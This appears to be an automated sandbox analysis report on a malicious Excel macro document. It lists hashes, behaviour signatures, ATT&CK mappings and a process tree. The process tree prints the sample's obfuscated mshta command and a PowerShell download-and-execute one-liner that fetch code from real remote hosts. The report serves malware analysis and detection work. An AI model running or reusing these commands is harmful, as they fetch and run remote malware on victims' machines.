88c52c4d1940f16219506b7c10ded1fa314e5f05e0aa03cf441a7dee30f41aa6

General

Target
e23da542d301c4cd6944c57b9bef4191.xls
Size 141KB
Sample220120-he8yeagdgm
SHA256 88c52c4d1940f16219506b7c10ded1fa314e5f05e0aa03cf441a7dee30f41aa6
MD5 e23da542d301c4cd6944c57b9bef4191
SHA1 7fe5a7e4c870fce66d1f46fe5bb3c79725f02604
SHA512 e45452dc454a0aa51451e441d9ca9cb5f82164bff6ccbee6040ce1d94383a47209f441b59be08bb86e928c8e0e4f142fb8a6bc778f70bfff11dfab61e5daa80d
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3908	2572	cmd.exe	52

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	3216	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2652	3216	WerFault.exe	66

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2572	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE
2572	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 1648	2572	EXCEL.EXE	62
PID 2572 wrote to memory of 1648	2572	EXCEL.EXE	62
PID 2572 wrote to memory of 3908	2572	EXCEL.EXE	64
PID 2572 wrote to memory of 3908	2572	EXCEL.EXE	64
PID 3908 wrote to memory of 3216	3908	cmd.exe	66
PID 3908 wrote to memory of 3216	3908	cmd.exe	66

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e23da542d301c4cd6944c57b9bef4191.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3364
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3216 -s 1736
      4⤵
      Program crash
      PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3356

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3216 -ip 3216
1⤵
PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2572-130-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/2572-131-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/2572-132-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/2572-133-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/2572-134-0x00007FFF6D450000-0x00007FFF6D460000-memory.dmp

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memory/2572-137-0x00007FFF6AFC0000-0x00007FFF6AFD0000-memory.dmp

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memory/2572-138-0x00007FFF6AFC0000-0x00007FFF6AFD0000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads